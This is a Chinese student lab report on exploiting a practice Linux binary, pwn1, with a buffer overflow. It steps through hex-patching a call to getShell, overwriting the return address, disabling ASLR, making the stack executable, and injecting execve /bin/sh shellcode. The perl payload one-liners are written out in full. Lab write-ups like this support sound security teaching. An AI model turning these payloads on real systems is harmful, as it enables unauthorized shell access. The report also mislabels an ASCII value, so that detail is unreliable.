20212919 2021-2022-2 《网络攻防实践》实践九报告
作者:互联网
20212919 2021-2022-2 《网络攻防实践》实践九报告
1.实践内容
实践目标:
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
实验要求:
掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
掌握反汇编与十六进制编程器
能正确修改机器指令改变程序执行流程
能正确构造payload进行bof攻击
基础知识:
反汇编(Disassembly):把目标代码转为汇编代码的过程,也可以说是把机器语言转换为汇编语言代码、低级转高级的意思,常用于软件破解(例如找到它是如何注册的,从而解出它的注册码或者编写注册机)、外挂技术、病毒分析、逆向工程、软件汉化等领域。学习和理解反汇编语言对软件调试、漏洞分析、OS的内核原理及理解高级语言代码都有相当大的帮助,在此过程中我们可以领悟到软件作者的编程思想。总之一句话:软件一切神秘的运行机制全在反汇编代码里面。
Shellcode:是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。 可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。
NOP, JNE, JE, JMP, CMP汇编指令的机器码:
NOP:即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令,机器码:90.
JNE:条件转移指令,如果不相等则跳转,机器码:75。
JE:条件转移指令,如果相等则跳转,机器码:74。
JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB) 段内直接近转移Jmp near,机器码:E9。 段内间接转移 Jmp word,机器码:FF。 段间直接(远)转移Jmp far,机器码:EA。
CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。
2.实践过程
(1)手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
打开kali将pwn1文件解压并用terminal打开,输入objdump -d pwn1 | more命令反汇编文件。
一直按住回车键找到main函数,在main函数第4行call处显示8048491为foo函数的入口地址,我们要修改可执行文件使执行call后指向804847d,也就是将call指令的目标地址由d7ffffff变为c3ffffff即getShell函数入口(0x804847d - 0x080484ba= 0xffffffc3)。
输入vi pwn1打开文件,显示一片乱码。
输入:%!xxd将显示模式切换为十六进制。
定位d7需要修改的地址偏移量位置,输入r进行编辑选中d7将其改为c3。
按esc退出,输入:%!xxd -r将十六进制转换为原格式。
还原回乱码后输入:wq保存并退出。
再次输入objdump -d pwn1 | more查看main函数中call指令正确调用getShell
输入./pwn1运行文件,运行后获得shell。
(2)利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
输入objdump -d pwn1 | more找到foo函数,函数的功能是调用gets读进用户输入的字符串然后用puts函数将字符串输出,但并未检查输入的范围易存在缓冲区溢出,有BOF漏洞。
输入gdb命令前先进行下载。
先输入gdb pwn2,后输入r运行程序,输入“wwwwwwwwwwwwwwwwwwwwwyyyyyyy yyyyyyyyyyyyyyyyyttttttttttttttttttttttt”后出现缓冲区溢出错误,输入info r发现eip中内容覆盖为0x79797979(“t”的ASCLL码的十六进制为79)。继续尝试发现当输入字符串过长时,第33~36个字节将会覆盖EIP的内容。所以只需这四个字符替换为 getShell 的内存地址,输给pwn1就会运行getShell。
输入perl -e 'print "wwwwwwwwyyyyyyyyttttttttwwwwwwww\x7d\x84\x04\x08\x0a"' > input,将其生成十六进制字符串文件input文件,作为对pwn2文件的输入。
输入xxd input查看文件是否符合预期。
输入(cat input; cat) | ./pwn2,将字符输入pwn2文件,获得shell。
(3)注入一个自己制作的shellcode并运行这段shellcode。
在root模式下输入apt-get install execstack对execstack进行安装。
分别输入execstack -s pwn3 设置堆栈可执行 ,execstack -q pwn3 查询文件的堆栈是否可执行。
输入more /proc/sys/kernel/randomize_va_space查看地址随机化的状态是否关闭,输入echo "0"> /proc/sys/kernel/randomize_va_space 关闭地址随机化(需要用root模式),再次查询地址随机化的状态为关闭。
使用perl构造十六进制的37个字节的输入串输入perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode其中第33~36个字节即\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置,后输入pwn3并输入(cat input_shellcode;cat) | ./pwn3运行pwn3。
打开一个新界面,输入ps -ef | grep pwn3找到pwn3的进程号是33078。
输入attach 33078 命令启动gdb调试这个进程,通过设置断点输入 disassemble foo 来查看注入buf的内存地址。
输入 break *0x080484ae 设置断点,输入 c 继续运行,同时在pwn3进程正在运行的那个界面点击回车,使其继续执行。
再返回调试界面,输入info r esp命令查找地址,再输入 x/16x 0xffffd50c 可以看到0x01020304的位置在0xffffd50c。根据我们构造的input_shellcode可知retaddr地址应为0xffffd50c+0x00000004=0xffffd510.
构造shellcode:32个A+retaddr+nop+shellcode,输入 perl -e 'print "A" x 32;print "\x10\xd5\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode如图所示,将其作为pwn3的输入,输入 (cat input_shellcode;cat) | ./pwn3并执行程序。
3.学习中遇到的问题及解决
-
问题1:在下载execstack的时候总是不成功,显示Unable to locate package execstack。
-
问题1解决方案:经过上网查找资料(https://blog.csdn.net/weixin_43729943/article/details/104221462),
发现需要修改sources.list文件在原有基础上添加
deb http://http.kali.org/kali sana main non-free contrib
deb http://security.kali.org/kali-security sana/updates main contrib non-free
deb http://old.kali.org/kali moto main non-free contrib
保存退出后再更新一下即可下载
4.实践总结
此次实验主要学习了缓冲区溢出攻击,特别注意到了缓冲区溢出漏洞的危害性,一边做实验一边查找资料,这次对于命令行的设计依然比较复杂,需要一点点慢慢来。下载execstack的过程有点不顺利,实验开始没有认识到检查虚拟机联网情况,因未连接到网络导致下载过程耽搁了很久,实验中这些细节问题还需要更好的把握,期待下次实验。
标签:x90,pwn3,20212919,实践,机器码,指令,2021,shellcode,输入 来源: https://www.cnblogs.com/wyt111/p/16259515.html